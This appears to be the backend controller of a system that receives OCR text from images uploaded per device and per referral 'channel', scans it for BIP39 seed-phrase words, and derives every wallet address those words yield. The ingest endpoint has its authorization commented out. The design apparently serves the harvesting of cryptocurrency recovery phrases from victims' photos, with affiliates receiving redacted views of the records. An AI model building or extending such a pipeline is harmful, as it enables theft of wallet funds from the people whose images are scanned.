| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474 |
- import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
- import PaginationService from 'App/Services/PaginationService'
- import { schema } from '@ioc:Adonis/Core/Validator'
- import OcrRecord from 'App/Models/OcrRecord'
- import Drive from '@ioc:Adonis/Core/Drive'
- import BlockchainWalletService from 'App/Services/BlockchainWalletService'
- import * as bip39 from 'bip39'
- import { HttpStatusCode } from 'axios'
- import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
- import FilesService from 'App/Services/FilesService'
- import * as console from 'node:console'
- import { UserRoles } from 'App/Models/User'
- import UserService from 'App/Services/UserService'
- import { SimplePaginatorContract } from '@ioc:Adonis/Lucid/Database'
- export default class OcrRecordController {
- private paginationService = new PaginationService(OcrRecord)
- public async index({ request, response, auth }: HttpContextContract) {
- try {
- const { page = 1, size = 20, id, deviceId, channel } = request.qs()
- const user = auth.user
- const role = user?.$attributes?.role
- if (!role) {
- return response.forbidden({
- error: 'Forbidden',
- message: 'Unauthorized access'
- })
- }
- let userChannel: string | undefined
- if (role === UserRoles.Api) {
- userChannel = user!.username
- } else if (['admin', 'operator'].includes(role)) {
- const apiUsers = await UserService.findReferredUsers(user!.id)
- const allowedChannels = apiUsers.map((user) => user.username as string)
- // 如果请求中指定了channel,检查是否在允许的channel列表中
- if (channel) {
- if (!allowedChannels.includes(channel)) {
- return response.ok({
- data: [],
- meta: {
- total: 0,
- per_page: Number(size),
- current_page: Number(page),
- last_page: 0,
- first_page: 1,
- first_page_url: '/?page=1',
- last_page_url: '/?page=0',
- next_page_url: null,
- previous_page_url: null
- }
- })
- }
- userChannel = channel
- } else {
- userChannel = allowedChannels.join(',')
- }
- } else {
- return response.forbidden({
- error: 'Forbidden',
- message: 'You are not authorized to access this resource'
- })
- }
- // 构建查询条件
- const query = OcrRecord.query()
- if (id) {
- query.where('id', id)
- }
- if (deviceId) {
- query.where('deviceId', deviceId)
- }
- if (userChannel) {
- query.whereIn('channel', userChannel.split(','))
- }
- // 执行分页查询
- const result = await query.orderBy('created_at', 'desc').paginate(page, size)
- // 处理API用户的数据脱敏
- if (role === UserRoles.Api) {
- result.forEach((record) => {
- record.content = ''
- record.record = ''
- record.img = ''
- record.thumbnail = ''
- })
- } else {
- // 处理图片URL
- await Promise.all(
- result.map(async (record) => {
- if (record.img && record.img !== '-') {
- const url = new URL(record.img)
- const filePath = url.pathname.replace(/^\//, '')
- record.img = await Drive.getSignedUrl(filePath)
- record.thumbnail = await FilesService.generateThumbnailUrl(filePath)
- } else {
- record.img = ''
- record.thumbnail = ''
- }
- })
- )
- }
- return response.ok(result)
- } catch (error) {
- return response.internalServerError({
- message: '获取OCR记录列表时发生错误',
- error: error.message
- })
- }
- }
- public async store({ request, bouncer }: HttpContextContract) {
- // await bouncer.authorize('admin')
- await request.validate({
- schema: schema.create({
- deviceId: schema.string(),
- record: schema.string()
- })
- })
- const data = request.all()
- data.content = await this.recordParsing(data.record)
- data.detail = await BlockchainWalletService.getAllAddresses(data.content)
- return await OcrRecord.create(data)
- }
- public async updateContent({ request, response }: HttpContextContract) {
- const data = await request.validate({
- schema: schema.create({
- id: schema.number(),
- content: schema.string()
- })
- })
- const record = await OcrRecord.findBy('id', request.input('id'))
- if (record) {
- record.content = data.content
- await record.save()
- return response.ok(record)
- } else {
- return response.notFound({ message: 'Record not found' })
- }
- }
- public async updateDetail({ params, response }: HttpContextContract) {
- const record = await OcrRecord.findBy('id', params.id)
- if (record) {
- const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
- record.detail = JSON.stringify(walletAddresses)
- await record.save()
- return response.ok(record)
- } else {
- return response.notFound({ message: 'Record not found.' })
- }
- }
- public async updateFavorite({ params, response }: HttpContextContract) {
- const record = await OcrRecord.findBy('id', params.id)
- if (record) {
- record.favorite = !record.favorite
- await record.save()
- return response.ok(record)
- } else {
- return response.notFound({ message: 'Record not found.' })
- }
- }
- public async favorite({ request, response, auth }: HttpContextContract) {
- try {
- const { page = 1, size = 20, id, deviceId, channel } = request.qs()
- const user = auth.user
- const role = user?.$attributes?.role
- if (!role) {
- return response.forbidden({
- error: 'Forbidden',
- message: 'Unauthorized access'
- })
- }
- let userChannel: string | undefined
- if (role === UserRoles.Api) {
- userChannel = user!.username
- } else if (['admin', 'operator'].includes(role)) {
- const apiUsers = await UserService.findReferredUsers(user!.id)
- const allowedChannels = apiUsers.map((user) => user.username as string)
- // 如果请求中指定了channel,检查是否在允许的channel列表中
- if (channel) {
- if (!allowedChannels.includes(channel)) {
- return response.ok({
- data: [],
- meta: {
- total: 0,
- per_page: Number(size),
- current_page: Number(page),
- last_page: 0,
- first_page: 1,
- first_page_url: '/?page=1',
- last_page_url: '/?page=0',
- next_page_url: null,
- previous_page_url: null
- }
- })
- }
- userChannel = channel
- } else {
- userChannel = allowedChannels.join(',')
- }
- } else {
- return response.forbidden({
- error: 'Forbidden',
- message: 'You are not authorized to access this resource'
- })
- }
- // 构建查询条件
- const query = OcrRecord.query().where('favorite', true)
- if (id) {
- query.where('id', id)
- }
- if (deviceId) {
- query.where('deviceId', deviceId)
- }
- if (userChannel) {
- query.whereIn('channel', userChannel.split(','))
- }
- // 执行分页查询
- const result = await query.orderBy('created_at', 'desc').paginate(page, size)
- // 处理API用户的数据脱敏
- if (role === UserRoles.Api) {
- result.forEach((record) => {
- record.content = ''
- record.record = ''
- record.img = ''
- record.thumbnail = ''
- })
- } else {
- // 处理图片URL
- await Promise.all(
- result.map(async (record) => {
- if (record.img && record.img !== '-') {
- const url = new URL(record.img)
- const filePath = url.pathname.replace(/^\//, '')
- record.img = await Drive.getSignedUrl(filePath)
- record.thumbnail = await FilesService.generateThumbnailUrl(filePath)
- } else {
- record.img = ''
- record.thumbnail = ''
- }
- })
- )
- }
- return response.ok(result)
- } catch (error) {
- return response.internalServerError({
- message: '获取收藏记录列表时发生错误',
- error: error.message
- })
- }
- }
- public async getAllAddresses({ request }: HttpContextContract) {
- await request.validate({
- schema: schema.create({
- mnemonic: schema.string()
- })
- })
- return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
- }
- public async recordParsing(record: string) {
- // 解析记录字符串
- const lines = record.split('\n')
- if (record.includes('Rec:') && record.includes('Det:')) {
- // 提取所有Rec:后面的文本
- lines
- .filter((line) => line.includes('Rec:'))
- .map((line) => {
- const parts = line.split('Rec:')
- if (parts.length < 2) return ''
- // 获取Rec:之后、Cls:之前的部分
- const afterRec = parts[1]
- const beforeCls = afterRec.split('Cls:')[0]
- // 找到最后一个逗号的位置
- const lastCommaIndex = beforeCls.lastIndexOf(',')
- // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
- return lastCommaIndex !== -1
- ? beforeCls.substring(0, lastCommaIndex).trim()
- : beforeCls.trim()
- })
- .filter((text) => text.length > 0)
- }
- // 从文本中提取潜在的助记词
- const potentialWords = new Set<string>()
- const englishWordRegex = /[a-zA-Z]+/g
- // 遍历所有行提取英文单词
- lines.forEach((line) => {
- const words = line.match(englishWordRegex)
- if (words) {
- words.forEach((word) => {
- // 忽略数字和分数值
- if (!word.includes('.') && isNaN(Number(word))) {
- potentialWords.add(word.toLowerCase())
- }
- })
- }
- })
- // 过滤出可能是BIP39助记词的单词
- const potentialBip39Words = Array.from(potentialWords).filter((word) => {
- // 使用bip39.wordlists.english检查单词是否在BIP39词表中
- return bip39.wordlists.english.includes(word)
- })
- // 寻找连续助记词序列
- const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
- console.log('Potential BIP39 words:', potentialBip39Words.toString())
- console.log('Potential mnemonics:', possibleMnemonics.toString())
- // 将所有可能的助记词合并为一个字符串返回
- if (possibleMnemonics.length < potentialBip39Words.length) {
- return potentialBip39Words.join(' ')
- }
- return possibleMnemonics.join(' ')
- }
- // 寻找可能的助记词序列
- private async findPossibleMnemonics(
- recTexts: string[],
- bip39Words: string[]
- ): Promise<string[]> {
- const mnemonics: string[] = []
- // 检查每行文本是否包含连续地助记词
- recTexts.forEach((text) => {
- const words = text.split(/\s+/)
- // 检查这一行是否包含多个BIP39词
- const bip39WordsInLine = words.filter((word) => {
- // 清理单词中的标点符号以及数字
- const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
- return bip39Words.includes(cleanWord)
- })
- // 如果找到多个BIP39词,可能是助记词序列
- if (bip39WordsInLine.length >= 3) {
- // mnemonics存入bip39WordsInLine中每一个元素
- bip39WordsInLine.map((word) => {
- mnemonics.push(word)
- })
- }
- })
- // 尝试从所有文本中提取12或24个词的序列
- // const allWords = recTexts.join(' ').split(/\s+/)
- // const bip39WordsInAll = allWords.filter((word) => {
- // const cleanWord = word.replace(/[.,;:!?]/g, '')
- // return bip39Words.includes(cleanWord)
- // })
- //
- // bip39WordsInAll.map((word) => {
- // mnemonics.push(word)
- // })
- // 查找12词或24词的连续序列
- // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
- // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
- // if (bip39.validateMnemonic(possibleMnemonic)) {
- // mnemonics.push(possibleMnemonic)
- // }
- // }
- //
- // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
- // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
- // if (bip39.validateMnemonic(possibleMnemonic)) {
- // mnemonics.push(possibleMnemonic)
- // }
- // }
- // 返回去重后的助记词列表
- return mnemonics
- }
- public async imgCleaning({ request, bouncer, response }: HttpContextContract) {
- // 授权检查
- await bouncer.authorize('admin')
- // 验证请求数据
- const { startDate, endDate } = await request.validate({
- schema: schema.create({
- startDate: schema.string(),
- endDate: schema.string()
- })
- })
- // 查询符合条件的记录
- const records = await OcrRecord.query()
- .whereBetween('createdAt', [startDate, endDate])
- .where('favorite', 0)
- .whereNot('img', '-')
- console.log(`待清理图片数量: ${records.length}`)
- if (records.length === 0) {
- return response.status(200).ok({
- success: true,
- message: '没有符合条件的图片需要清理',
- count: 0
- })
- }
- const recordImgMap = new Map(records.map((record) => [record.id, record.img]))
- const filePaths = records
- .map((record) => {
- try {
- return {
- id: record.id,
- originalUrl: record.img,
- path: new URL(record.img).pathname.replace(/^\//, '')
- }
- } catch (error) {
- console.error(`无效的图片 URL: ${record.img}`)
- return null
- }
- })
- .filter(Boolean) as { id: number; originalUrl: string; path: string }[]
- const pathsToDelete = filePaths.map((item) => item.path)
- const imgResult = await FilesService.batchDelete(pathsToDelete)
- const successPaths = imgResult.success
- console.log(`清理成功路径数量: ${successPaths.length}`)
- // 找出成功删除的文件对应的记录ID
- const successIds = filePaths
- .filter((item) => successPaths.includes(item.path))
- .map((item) => item.id)
- const deletedCount = await OcrRecord.query().whereIn('id', successIds).delete()
- console.log(`删除成功记录数量: ${deletedCount}`)
- const successUrls = successIds.map((id) => recordImgMap.get(id)).filter(Boolean)
- return response.status(200).ok({
- success: true,
- message: `清理成功数量: ${successPaths.length}`,
- count: successUrls.length
- })
- }
- }
|